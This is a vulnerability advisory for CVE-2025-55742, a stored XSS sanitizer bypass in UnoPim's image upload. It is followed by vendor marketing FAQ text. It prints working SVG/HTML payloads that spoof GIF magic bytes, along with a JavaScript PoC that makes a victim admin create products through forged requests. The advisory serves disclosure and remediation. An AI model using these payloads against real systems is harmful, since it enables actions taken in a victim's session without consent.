Summary
Affected Functionality: User creation
Endpoint: /admin/settings/users/create
Details
https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19
See the mimetype is checked for validation.
Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes
for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.
File containing is considered as svg and is sanitized:
Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)">
<rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
Sanitization bypass using MIME type manipulation:
Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml
GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)">
<rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
PoC
Upload POC.html as image.
File content:
GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(document.cookie)">
<rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>
<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
I changed extension to .html because even though POC.svg successfully bypassed the sanitization.
When accessing the URL, the page didn't render as it should starts with <.
Since html doesn't have any such limitation we can access it.
Access the image URL to see the XSS popup.
Example
create a product behalf of victim.
John doe (default admin ) creates another admin ( [email protected] )
When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created.
// info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link.
Please see the detailed POC video for more details:
https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2
Extended POC for performing the action shown in video:
POC.html:
<html>
<script>
const url = 'http://localhost:8000/admin/catalog/products/create';
// Create a FormData object to hold the form data
const formData = new FormData();
formData.append('type', 'simple');
formData.append('attribute_family_id', '1');
formData.append('sku', 'Created-by-ADMIN-VICTIM888');
// Define the headers
const headers = {
'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',
'X-Requested-With': 'XMLHttpRequest',
'Accept': 'application/json, text/plain, */*',
'Origin': 'http://localhost:8000',
'Referer': 'http://localhost:8000/admin/catalog/products',
'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'
};
// Send the POST request
fetch(url, {
method: 'POST',
headers: headers,
body: formData,
credentials: 'include' // Include cookies in the request
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok ' + response.statusText);
}
return response.json(); // Assuming the response is JSON
})
.then(data => {
console.log('Success:', data);
})
.catch(error => {
console.error('Error:', error);
});
</script>
<html>
// make sure to update the cookies and CSRF tokens in the script to the attacker's.
Recommendation:
Check file extension: whitelist allowed extensions.
Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it.
Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.
Affected Version: 0.1.6
Impact
Suppose another admin visits the image link, the attacker can perform any operation as the victim.
The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2025-55742 has a CVSS score of 6.8 (Medium). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.2.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-55742? CVE-2025-55742 is a medium-severity cross-site scripting (XSS) vulnerability in unopim/unopim (composer), affecting versions <= 0.2.0. It is fixed in 0.2.1. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2025-55742? CVE-2025-55742 has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of unopim/unopim are affected by CVE-2025-55742? unopim/unopim (composer) versions <= 0.2.0 is affected.
- Is there a fix for CVE-2025-55742? Yes. CVE-2025-55742 is fixed in 0.2.1. Upgrade to this version or later.
- Is CVE-2025-55742 exploitable, and should I be worried? Whether CVE-2025-55742 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-55742 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-55742? Upgrade
unopim/unopimto 0.2.1 or later.